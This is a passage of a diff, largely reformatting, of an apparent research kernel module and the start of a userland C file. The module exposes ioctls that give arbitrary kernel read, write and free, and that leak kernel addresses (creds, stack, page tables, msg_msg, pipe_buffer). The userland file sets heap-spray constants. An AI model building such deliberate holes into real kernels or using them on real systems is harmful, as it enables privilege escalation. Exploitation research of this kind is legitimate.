.symbol_name = "__brk_dmi_alloc"
};
static struct kprobe kp = { .symbol_name = "init_top_pgt" };
static struct kprobe kp1 = { .symbol_name = "module_alloc" };
static struct kprobe kp2 = { .symbol_name = "set_memory_rox" };
static struct kprobe kp3 = { .symbol_name = "ipc_obtain_object_check" };
static struct kprobe kp4 = { .symbol_name = "slub_addr_base" };
static struct kprobe kp5 = { .symbol_name = "_text" };
static struct kprobe kp6 = { .symbol_name = "vmemmap_base" };
static struct kprobe kp7 = { .symbol_name = "vmalloc_base" };
static struct kprobe kp8 = { .symbol_name = "__brk_dmi_alloc" };
#define OBJS_SZ (1ULL << 20)
void *objs[OBJS_SZ];
@ -87,13 +69,15 @@ void *objs[OBJS_SZ];
#define V6_5
#define V6_6
#define V6_8
int lkm_init_device_driver(void)
int
lkm_init_device_driver(void)
{
int ret;
printk(KERN_INFO "lkm:init_device_driver: start\n");
ret = register_chrdev(0, DEVICE_NAME, &lkm_fops);
if (ret < 0) goto ERROR;
if (ret < 0)
goto ERROR;
lkm_major = ret;
#if defined(V6_5) || defined(V6_8) || defined(V6_6)
lkm_class = class_create(CLASS_NAME);
@ -105,13 +89,16 @@ int lkm_init_device_driver(void)
goto ERROR1;
}
lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0, DEVICE_NAME);
lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0,
DEVICE_NAME);
if (IS_ERR(lkm_device)) {
ret = PTR_ERR(lkm_device);
goto ERROR2;
}
printk(KERN_INFO "lkm:init_device_driver: done '/dev/%s c %d' 0 created\n", DEVICE_NAME, lkm_major);
printk(KERN_INFO
"lkm:init_device_driver: done '/dev/%s c %d' 0 created\n",
DEVICE_NAME, lkm_major);
return 0;
ERROR2:
@ -132,34 +119,38 @@ ERROR:
/*
* Initialization
*/
static int lkm_init(void)
static int
lkm_init(void)
{
int ret;
printk(KERN_INFO "lkm:init: start\n");
ret = lkm_init_device_driver();
if (ret) goto ERROR;
if (ret)
goto ERROR;
register_kprobe(&kp);
register_kprobe(&kp);
_init_top_pgt = (void *)kp.addr;
register_kprobe(&kp1);
register_kprobe(&kp1);
module_alloc = (void *(*)(unsigned long))kp1.addr;
register_kprobe(&kp2);
set_memory_rox = (int(*)(unsigned long, int))kp2.addr;
register_kprobe(&kp3);
ipc_obtain_object_check = (struct msg_queue *(*)(struct ipc_ids *, int))kp3.addr;
register_kprobe(&kp4);
register_kprobe(&kp2);
set_memory_rox = (int (*)(unsigned long, int))kp2.addr;
register_kprobe(&kp3);
ipc_obtain_object_check = (struct msg_queue *
(*)(struct ipc_ids *, int)) kp3.addr;
register_kprobe(&kp4);
slub_addr_base = *(unsigned long *)kp4.addr;
register_kprobe(&kp5);
register_kprobe(&kp5);
__text = (unsigned long)kp5.addr;
register_kprobe(&kp6);
register_kprobe(&kp6);
vmemmap_base = *(unsigned long *)kp6.addr;
register_kprobe(&kp7);
register_kprobe(&kp7);
vmalloc_base = *(unsigned long *)kp7.addr;
register_kprobe(&kp8);
register_kprobe(&kp8);
__end = (unsigned long)kp8.addr;
printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n", (size_t)_init_top_pgt);
printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n",
(size_t)_init_top_pgt);
printk(KERN_INFO "lkm:init: lkm_class %016zx\n", (size_t)lkm_class);
printk(KERN_INFO "lkm:init: lkm_ioctl %016zx\n", (size_t)lkm_ioctl);
@ -174,18 +165,19 @@ ERROR:
/*
* Cleanup
*/
static void lkm_cleanup(void)
static void
lkm_cleanup(void)
{
printk(KERN_INFO "lkm:cleanup\n");
unregister_kprobe(&kp);
unregister_kprobe(&kp1);
unregister_kprobe(&kp2);
unregister_kprobe(&kp3);
unregister_kprobe(&kp4);
unregister_kprobe(&kp5);
unregister_kprobe(&kp6);
unregister_kprobe(&kp7);
unregister_kprobe(&kp8);
unregister_kprobe(&kp);
unregister_kprobe(&kp1);
unregister_kprobe(&kp2);
unregister_kprobe(&kp3);
unregister_kprobe(&kp4);
unregister_kprobe(&kp5);
unregister_kprobe(&kp6);
unregister_kprobe(&kp7);
unregister_kprobe(&kp8);
device_destroy(lkm_class, MKDEV(lkm_major, 0));
class_unregister(lkm_class);
class_destroy(lkm_class);
@ -195,7 +187,8 @@ static void lkm_cleanup(void)
/*
* Close "/dev/lkm"
*/
int lkm_release(struct inode *inode, struct file *filep)
int
lkm_release(struct inode *inode, struct file *filep)
{
printk(KERN_INFO "lkm:release\n");
module_put(THIS_MODULE);
@ -206,7 +199,8 @@ EXPORT_SYMBOL(lkm_release);
/*
* Open "/dev/lkm"
*/
int lkm_open(struct inode *inode, struct file *filp)
int
lkm_open(struct inode *inode, struct file *filp)
{
printk(KERN_INFO "lkm:open\n");
try_module_get(THIS_MODULE);
@ -215,114 +209,116 @@ int lkm_open(struct inode *inode, struct file *filp)
EXPORT_SYMBOL(lkm_open);
#pragma GCC push_options
#pragma GCC optimize ("O0")
void lkm_alloc(size_t id, size_t loc, size_t size)
#pragma GCC optimize("O0")
void
lkm_alloc(size_t id, size_t loc, size_t size)
{
switch (loc) {
case 0:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 1:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 2:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 3:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 4:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 5:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 6:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 7:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 8:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 9:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 10:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 11:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 12:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 13:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 14:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 15:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 16:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 17:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 18:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 19:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 20:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 21:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 22:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 23:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 24:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 25:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 26:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 27:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 28:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 29:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 30:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 31:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
default:
printk(KERN_ERR "lkm:alloc: invalid loc\n");
break;
case 0:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 1:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 2:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 3:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 4:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 5:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 6:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 7:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 8:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 9:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 10:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 11:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 12:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 13:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 14:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 15:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 16:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 17:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 18:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 19:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 20:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 21:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 22:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 23:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 24:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 25:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 26:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 27:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 28:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 29:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 30:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
case 31:
objs[id] = kmalloc(size, GFP_KERNEL);
break;
default:
printk(KERN_ERR "lkm:alloc: invalid loc\n");
break;
}
}
#pragma GCC pop_options
pte_t *page_walk_pte(size_t addr)
pte_t *
page_walk_pte(size_t addr)
{
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
pgd_t *pgd;
@ -362,7 +358,8 @@ pte_t *page_walk_pte(size_t addr)
return pte;
}
pmd_t *page_walk_pmd(size_t addr)
pmd_t *
page_walk_pmd(size_t addr)
{
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
pgd_t *pgd;
@ -395,7 +392,8 @@ pmd_t *page_walk_pmd(size_t addr)
return pmd;
}
bool isLargePage(size_t addr)
bool
isLargePage(size_t addr)
{
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
pgd_t *pgd;
@ -436,13 +434,15 @@ bool isLargePage(size_t addr)
return 0;
}
void dpm_test(void)
void
dpm_test(void)
{
int max_large = 10;
int max_large = 10;
size_t start = 0;
size_t end = 32ULL*1024ULL*1024ULL*1024ULL;
printk(KERN_INFO "lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n",
start, end, (size_t)__va(start), (size_t)__va(end));
size_t end = 32ULL * 1024ULL * 1024ULL * 1024ULL;
printk(KERN_INFO
"lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n",
start, end, (size_t)__va(start), (size_t)__va(end));
size_t count = 0;
size_t paddr;
for (paddr = start; paddr < end; paddr += PMD_SIZE) {
@ -454,29 +454,34 @@ void dpm_test(void)
size_t pagecachedisabled = 0;
size_t global = 0;
size_t _paddr;
for (_paddr = paddr; _paddr < paddr + PMD_SIZE; _paddr += PAGE_SIZE) {
for (_paddr = paddr; _paddr < paddr + PMD_SIZE;
_paddr += PAGE_SIZE) {
size_t vaddr = (size_t)phys_to_virt(_paddr);
pte_t *pte = page_walk_pte(vaddr);
if (!pte) {
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte 0\n", vaddr);
// printk(KERN_DEBUG "lkm:dpm_test:
// vaddr %016zx pte 0\n", vaddr);
continue;
}
diff += !!((pte->pte & 0xfff) ^ 0x163);
writable += !!(pte->pte & _PAGE_RW);
pagecachedisabled += !!(pte->pte & _PAGE_PCD);
global += !!(pte->pte & _PAGE_GLOBAL);
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte %016zx\n", vaddr, pte->pte);
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx
// pte %016zx\n", vaddr, pte->pte);
count++;
}
printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n", vaddr, diff, writable, pagecachedisabled, global);
}
else if (max_large > 0 && isLargePage(vaddr))
{
printk(KERN_DEBUG
"lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n",
vaddr, diff, writable, pagecachedisabled, global);
} else if (max_large > 0 && isLargePage(vaddr)) {
max_large--;
printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n", vaddr);
printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n",
vaddr);
}
}
printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count, (end - start) / PAGE_SIZE);
printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count,
(end - start) / PAGE_SIZE);
pmd_t *_text_pmd = page_walk_pmd(__text);
pmd_t *_end_pmd = page_walk_pmd(__end);
@ -484,11 +489,14 @@ void dpm_test(void)
printk(KERN_INFO "lkm:dpm_text: _end %016zx\n", __end);
size_t _text_pa = (size_t)__va(_text_pmd->pmd & 0xfffffffff000);
size_t _end_pa = (size_t)__va(_end_pmd->pmd & 0xfffffffff000);
printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa, isLargePage(_text_pa) ? "2MB page" : "4k page");
printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa, isLargePage(_end_pa) ? "2MB page" : "4k page");
printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa,
isLargePage(_text_pa) ? "2MB page" : "4k page");
printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa,
isLargePage(_end_pa) ? "2MB page" : "4k page");
}
void bpf_dpm_split(size_t size)
void
bpf_dpm_split(size_t size)
{
void *obj;
pte_t *pte;
@ -498,7 +506,8 @@ void bpf_dpm_split(size_t size)
set_memory_rox((unsigned long)obj, size >> 12);
pte = page_walk_pte((unsigned long)obj);
vaddr = (size_t)phys_to_virt(pte->pte & 0xffffffffff000);
printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj, vaddr);
printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj,
vaddr);
}
struct msg_queue {
@ -515,9 +524,10 @@ struct msg_queue {
struct list_head q_receivers;
struct list_head q_senders;
};
#define IPC_MSG_IDS 1
#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS])
static unsigned long msg_copy_to_user(size_t msqid, size_t type)
#define IPC_MSG_IDS 1
#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS])
static unsigned long
msg_copy_to_user(size_t msqid, size_t type)
{
struct msg_queue *msq;
struct msg_msg *msg;
@ -527,17 +537,22 @@ static unsigned long msg_copy_to_user(size_t msqid, size_t type)
rcu_read_lock();
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msqid %ld\n", msqid);
ns = current->nsproxy->ipc_ns;
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned long)ns);
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned
// long)ns);
ids = &msg_ids(ns);
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned long)ids);
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned
// long)ids);
msq = ipc_obtain_object_check(ids, msqid);
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned long)msq);
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned
// long)msq);
if (IS_ERR(msq))
goto RETURN;
list_for_each_entry(msg, &msq->q_messages, m_list) {
list_for_each_entry(msg, &msq->q_messages, m_list)
{
if (msg->m_type == type) {
found = msg;
// printk(KERN_DEBUG "lkm:msg_copy_to_user: found %016zx\n", (unsigned long)found);
// printk(KERN_DEBUG "lkm:msg_copy_to_user: found
// %016zx\n", (unsigned long)found);
break;
}
}
@ -553,13 +568,15 @@ size_t SLAB_BASE_ADDR = 0;
size_t SLAB_END_ADDR = 0;
#endif
static int bad_address(void *p)
static int
bad_address(void *p)
{
unsigned long dummy;
return get_kernel_nofault(dummy, (unsigned long *)p);
}
noinline void pagetable_walk(msg_t *msg)
noinline void
pagetable_walk(msg_t *msg)
{
size_t address = msg->ptw.uaddr;
pgd_t *base = __va(read_cr3_pa());
@ -619,7 +636,8 @@ out:
/*
* ioctl code
*/
long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
long
lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
{
int ret;
msg_t msg;
@ -635,9 +653,10 @@ long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
unsigned int head;
unsigned int mask;
// printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num, param);
// printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num,
// param);
ret = copy_from_user((msg_t*)&msg, (msg_t*)param, sizeof(msg_t));
ret = copy_from_user((msg_t *)&msg, (msg_t *)param, sizeof(msg_t));
if (ret < 0) {
printk(KERN_ERR "lkm:ioctl: copy_from_user failed\n");
ret = -1;
@ -645,183 +664,191 @@ long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
}
switch (num) {
case LKM_ALLOC:
if (msg.al.id >= OBJS_SZ) {
printk(KERN_ERR "lkm:ioctl: index %zd too large\n", msg.al.id);
ret = -1;
goto RETURN;
}
if (msg.al.size > 4096) {
printk(KERN_ERR "lkm:ioctl: size %zd too big\n", msg.al.size);
ret = -1;
goto RETURN;
}
objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL);
break;
case LKM_FREE:
if (msg.fr.id >= OBJS_SZ) {
printk(KERN_ERR "lkm:ioctl: %zd too large\n", msg.fr.id);
ret = -1;
goto RETURN;
}
kfree(objs[msg.fr.id]);
break;
case LKM_WRITE:
// printk(KERN_INFO "lkm:ioctl: arbitrary write\n");
*(size_t *)msg.wr.kaddr = msg.wr.value;
break;
case LKM_READ:
// printk(KERN_INFO "lkm:ioctl: arbitrary read\n");
tmp = *(size_t *)msg.rd.kaddr;
uaddr = (size_t *)msg.rd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_DPM_TEST:
dpm_test();
break;
case LKM_ACCESS_PRIMITIVE:
*(volatile size_t *)msg.ap.addr;
break;
case LKM_BPF_DPM_SPLIT:
// printk(KERN_INFO "lkm:ioctl: bpf dpm split\n");
bpf_dpm_split(msg.dpms.size);
break;
case LKM_MSG_MSG_LEAK:
tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype);
uaddr = (size_t *)msg.mrd.uaddr;
// printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp);
goto COPY_TMP_TO_USER;
case LKM_DPM_LEAK:
tmp = (size_t)__va(0);
uaddr = (size_t *)msg.drd.uaddr;
// printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp);
goto COPY_TMP_TO_USER;
case LKM_VIRTUAL_BASE_LEAK:
tmp = (size_t)slub_addr_base;
uaddr = (size_t *)msg.drd.uaddr;
printk(KERN_INFO "lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n", tmp, SLAB_BASE_ADDR, SLAB_END_ADDR);
goto COPY_TMP_TO_USER;
case LKM_SEQ_FILE_LEAK:
id = msg.frd.fd;
files = current->files;
spin_lock(&files->file_lock);
fdt = files_fdtable(files);
file = fdt->fd[id];
spin_unlock(&files->file_lock);
tmp = (size_t)file->private_data;
// printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp);
uaddr = (size_t *)msg.frd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_CRED_LEAK:
tmp = (size_t)current->real_cred;
uaddr = (size_t *)msg.drd.uaddr;
// printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp);
goto COPY_TMP_TO_USER;
case LKM_FILE_LEAK:
id = msg.frd.fd;
files = current->files;
spin_lock(&files->file_lock);
fdt = files_fdtable(files);
tmp = (size_t)fdt->fd[id];
spin_unlock(&files->file_lock);
// printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp);
uaddr = (size_t *)msg.frd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_STACK_LEAK:
tmp = (size_t)current->stack;
uaddr = (size_t *)msg.drd.uaddr;
// printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy, VMALLOC_START, VMALLOC_END);
goto COPY_TMP_TO_USER;
case LKM_CODE_LEAK:
tmp = (size_t)__text;
uaddr = (size_t *)msg.drd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_VMEMMAP_LEAK:
tmp = (size_t)vmemmap_base;
uaddr = (size_t *)msg.drd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_VMALLOC_BASE_LEAK:
tmp = (size_t)vmalloc_base;
uaddr = (size_t *)msg.drd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_ARB_FREE:
printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr);
kfree((void *)msg.af.kaddr);
break;
case LKM_PIPE_BUFFER_LEAK:
id = msg.pbrd.fd;
files = current->files;
spin_lock(&files->file_lock);
fdt = files_fdtable(files);
file = fdt->fd[id];
spin_unlock(&files->file_lock);
pipe = file->private_data;
tail = pipe->tail;
head = pipe->head;
mask = pipe->ring_size - 1;
if (msg.pbrd.rdend)
tmp = (size_t)&pipe->bufs[tail & mask];
else
tmp = (size_t)&pipe->bufs[(head - 1) & mask];
// printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp);
uaddr = (size_t *)msg.pbrd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_PAGETABLE_WALK:
printk(KERN_DEBUG "lkm:ioctl: page table walk\n");
msg.ptw.pgde = 0;
msg.ptw.p4de = 0;
msg.ptw.pude = 0;
msg.ptw.pmde = 0;
msg.ptw.pte = 0;
pagetable_walk(&msg);
ret = copy_to_user((msg_t*)param, (msg_t*)&msg, sizeof(msg_t));
if (ret < 0) {
printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n");
ret = -1;
goto RETURN;
}
break;
case LKM_IS_4KB:
ret = !isLargePage(msg.ap.addr);
// printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n", msg.ap.addr, ret == 1 ? "4kB" : "2MB");
return ret;
default:
printk(KERN_ERR "lkm:ioctl: no valid num\n");
case LKM_ALLOC:
if (msg.al.id >= OBJS_SZ) {
printk(KERN_ERR "lkm:ioctl: index %zd too large\n",
msg.al.id);
ret = -1;
goto RETURN;
}
if (msg.al.size > 4096) {
printk(KERN_ERR "lkm:ioctl: size %zd too big\n",
msg.al.size);
ret = -1;
goto RETURN;
}
objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL);
break;
case LKM_FREE:
if (msg.fr.id >= OBJS_SZ) {
printk(KERN_ERR "lkm:ioctl: %zd too large\n",
msg.fr.id);
ret = -1;
goto RETURN;
}
kfree(objs[msg.fr.id]);
break;
case LKM_WRITE:
// printk(KERN_INFO "lkm:ioctl: arbitrary write\n");
*(size_t *)msg.wr.kaddr = msg.wr.value;
break;
case LKM_READ:
// printk(KERN_INFO "lkm:ioctl: arbitrary read\n");
tmp = *(size_t *)msg.rd.kaddr;
uaddr = (size_t *)msg.rd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_DPM_TEST:
dpm_test();
break;
case LKM_ACCESS_PRIMITIVE:
*(volatile size_t *)msg.ap.addr;
break;
case LKM_BPF_DPM_SPLIT:
// printk(KERN_INFO "lkm:ioctl: bpf dpm split\n");
bpf_dpm_split(msg.dpms.size);
break;
case LKM_MSG_MSG_LEAK:
tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype);
uaddr = (size_t *)msg.mrd.uaddr;
// printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp);
goto COPY_TMP_TO_USER;
case LKM_DPM_LEAK:
tmp = (size_t)__va(0);
uaddr = (size_t *)msg.drd.uaddr;
// printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp);
goto COPY_TMP_TO_USER;
case LKM_VIRTUAL_BASE_LEAK:
tmp = (size_t)slub_addr_base;
uaddr = (size_t *)msg.drd.uaddr;
printk(KERN_INFO
"lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n",
tmp, SLAB_BASE_ADDR, SLAB_END_ADDR);
goto COPY_TMP_TO_USER;
case LKM_SEQ_FILE_LEAK:
id = msg.frd.fd;
files = current->files;
spin_lock(&files->file_lock);
fdt = files_fdtable(files);
file = fdt->fd[id];
spin_unlock(&files->file_lock);
tmp = (size_t)file->private_data;
// printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp);
uaddr = (size_t *)msg.frd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_CRED_LEAK:
tmp = (size_t)current->real_cred;
uaddr = (size_t *)msg.drd.uaddr;
// printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp);
goto COPY_TMP_TO_USER;
case LKM_FILE_LEAK:
id = msg.frd.fd;
files = current->files;
spin_lock(&files->file_lock);
fdt = files_fdtable(files);
tmp = (size_t)fdt->fd[id];
spin_unlock(&files->file_lock);
// printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp);
uaddr = (size_t *)msg.frd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_STACK_LEAK:
tmp = (size_t)current->stack;
uaddr = (size_t *)msg.drd.uaddr;
// printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with
// current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy,
// VMALLOC_START, VMALLOC_END);
goto COPY_TMP_TO_USER;
case LKM_CODE_LEAK:
tmp = (size_t)__text;
uaddr = (size_t *)msg.drd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_VMEMMAP_LEAK:
tmp = (size_t)vmemmap_base;
uaddr = (size_t *)msg.drd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_VMALLOC_BASE_LEAK:
tmp = (size_t)vmalloc_base;
uaddr = (size_t *)msg.drd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_ARB_FREE:
printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr);
kfree((void *)msg.af.kaddr);
break;
case LKM_PIPE_BUFFER_LEAK:
id = msg.pbrd.fd;
files = current->files;
spin_lock(&files->file_lock);
fdt = files_fdtable(files);
file = fdt->fd[id];
spin_unlock(&files->file_lock);
pipe = file->private_data;
tail = pipe->tail;
head = pipe->head;
mask = pipe->ring_size - 1;
if (msg.pbrd.rdend)
tmp = (size_t)&pipe->bufs[tail & mask];
else
tmp = (size_t)&pipe->bufs[(head - 1) & mask];
// printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp);
uaddr = (size_t *)msg.pbrd.uaddr;
goto COPY_TMP_TO_USER;
case LKM_PAGETABLE_WALK:
printk(KERN_DEBUG "lkm:ioctl: page table walk\n");
msg.ptw.pgde = 0;
msg.ptw.p4de = 0;
msg.ptw.pude = 0;
msg.ptw.pmde = 0;
msg.ptw.pte = 0;
pagetable_walk(&msg);
ret = copy_to_user((msg_t *)param, (msg_t *)&msg,
sizeof(msg_t));
if (ret < 0) {
printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n");
ret = -1;
goto RETURN;
}
break;
case LKM_IS_4KB:
ret = !isLargePage(msg.ap.addr);
// printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n",
// msg.ap.addr, ret == 1 ? "4kB" : "2MB");
return ret;
default:
printk(KERN_ERR "lkm:ioctl: no valid num\n");
ret = -1;
goto RETURN;
}
ret = 0;
goto DONE;
COPY_TMP_TO_USER:
if(uaddr == 0) { // && "forgot to set uaddr");
if (uaddr == 0) { // && "forgot to set uaddr");
printk(KERN_ERR "lkm:ioctl: uaddr == 0\n");
// ret = -1;
goto RETURN;
@ -831,7 +858,8 @@ COPY_TMP_TO_USER:
// ret = -1;
goto RETURN;
}
// printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp, (size_t)uaddr);
// printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp,
// (size_t)uaddr);
ret = copy_to_user(uaddr, &tmp, sizeof(size_t));
if (ret < 0) {
printk(KERN_ERR "lkm:ioctl: copy_to_user failed\n");

Binary file not shown.

View file

@ -1,262 +1,294 @@
#include "utils.h"
#include <stddef.h>
#include "cacheutils.h"
#include "tlb_flush.h"
#include "coarse_grain_leak.h"
#include "tlb_flush.h"
#include "utils.h"
#define DEBUG
#ifdef DEBUG
#include "ulkm.h"
#endif
#include "msg_msg.h"
#include <sys/socket.h>
#include <sys/mman.h>
#define IPPROTO_DCCP 33
#define IPPROTO_SCTP 132
#define IPPROTO_L2TP 115
#define CAN_RAW 1
#define CAN_BCM 2
#define CAN_ISOTP 6
#include <sys/socket.h>
#define HIST_SIZE 60
#define TRIES 40
#include "msg_msg.h"
#define IPPROTO_DCCP 33
#define IPPROTO_SCTP 132
#define IPPROTO_L2TP 115
#define CAN_RAW 1
#define CAN_BCM 2
#define CAN_ISOTP 6
#define PAGE_SPRAY (30)
#define HIST_SIZE 60
#define TRIES 40
#define PAGE_SPRAY (30)
#define PAGE_OTHER_SPRAY (10)
#define PAGE_SIZE (1<<12)
#define PMD_SIZE (1<<21)
#define PAGE_SIZE (1 << 12)
#define PMD_SIZE (1 << 21)
#define MSG_SIZE (256 - 48)
#define MSG_SPRAYS (1<<8)*32
#define MSG_TYPE 0x41
#define MSG_SIZE (256 - 48)
